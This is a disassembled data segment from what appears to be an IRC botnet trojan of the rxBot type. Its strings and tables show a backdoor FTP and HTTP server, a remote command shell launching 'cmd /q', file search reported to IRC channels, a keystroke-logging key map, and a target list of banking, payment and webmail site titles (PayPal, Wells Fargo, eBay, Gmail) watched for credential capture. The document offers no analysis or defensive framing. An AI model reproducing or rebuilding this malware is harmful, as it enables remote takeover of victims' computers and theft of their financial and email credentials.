aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4341BC	db  2Dh	; -		; DATA XREF: sub_40FAA3+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4341E4	db 0Dh,0Ah,0		; DATA XREF: sub_40FAA3+2CFo
					; sub_41A9BC+F2o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAA3+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FEFE+97o
					; sub_41AF2B+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FEFE+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FEFE:loc_40FF63o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FEFE+5Eo
		align 4
unk_434404	db  2Dh	; -		; DATA XREF: sub_410080+28Fo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_43443C	db  2Dh	; -		; DATA XREF: sub_410080+20Bo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_434470:				; DATA XREF: sub_410080+157o
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_410080+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_410330+64Eo
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410330+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_410330+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_410330+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_410330+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_410330:loc_410848o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_410330+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_410330+471o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_410330+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_410330+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_410330:loc_4106F2o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_410330+3BBo
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_410330+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410330+330o
					; sub_410330+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_410330+30Eo
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_410330+2E4o
					; sub_410330+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_410330+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_410330+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_410330+285o
		align 10h
a__		db '..',0               ; DATA XREF: sub_410330+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410330+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410330+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410330+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_410330+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_410330+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410A9D+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_434918	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D2Co
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410CD1o
dword_43495C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410C79o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4349C4	db  2Dh	; -		; DATA XREF: ___:00410E52o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434A0C	db  2Dh	; -		; DATA XREF: ___:004110A4o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_434A4C	db  2Dh	; -		; DATA XREF: ___:00410FDBo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_434A90	db  2Dh	; -		; DATA XREF: ___:00411367o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_434ABC	db  2Dh	; -		; DATA XREF: ___:00411340o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434AE8	db  2Dh	; -		; DATA XREF: ___:00411320o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:004112F0o
		align 4
unk_434B24	db  2Dh	; -		; DATA XREF: ___:0041125Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_434B50	db  2Dh	; -		; DATA XREF: sub_411383:loc_4113C8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_434B7C	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_4113DD+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434D18	db  2Dh	; -		; DATA XREF: sub_411694+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434D4C	db  2Dh	; -		; DATA XREF: sub_411694+59o
					; sub_411694+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434D94	db  2Dh	; -		; DATA XREF: sub_4117E5+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434DBC	db  2Dh	; -		; DATA XREF: sub_4117E5+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434DFC	db  2Dh	; -		; DATA XREF: sub_4117E5+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434E3C	db  2Dh	; -		; DATA XREF: sub_4118DE+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_4118DE+8Co
		align 4
dword_434E7C	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119B7+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
		dd 342C3003h, 5E5E207Ch, 5E587256h, 37C205Eh, 7C312C30h
		dd 77305020h, 75467233h, 20796C6Ch, 2C31037Ch, 207C2038h
		dd 336E5730h, 203E2044h, 7325h
dword_435070	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:004125CDo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 4
dword_435208	dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 4
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 4
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 4
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 4
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; С
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 10h
		dd 4 dup(0)
dword_435C70	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:0041261Fo
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_4363DC	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:004125EBo
					; sub_41AF2B+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_436CE8
		dd offset off_436CE4
		dd offset off_436CE0
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
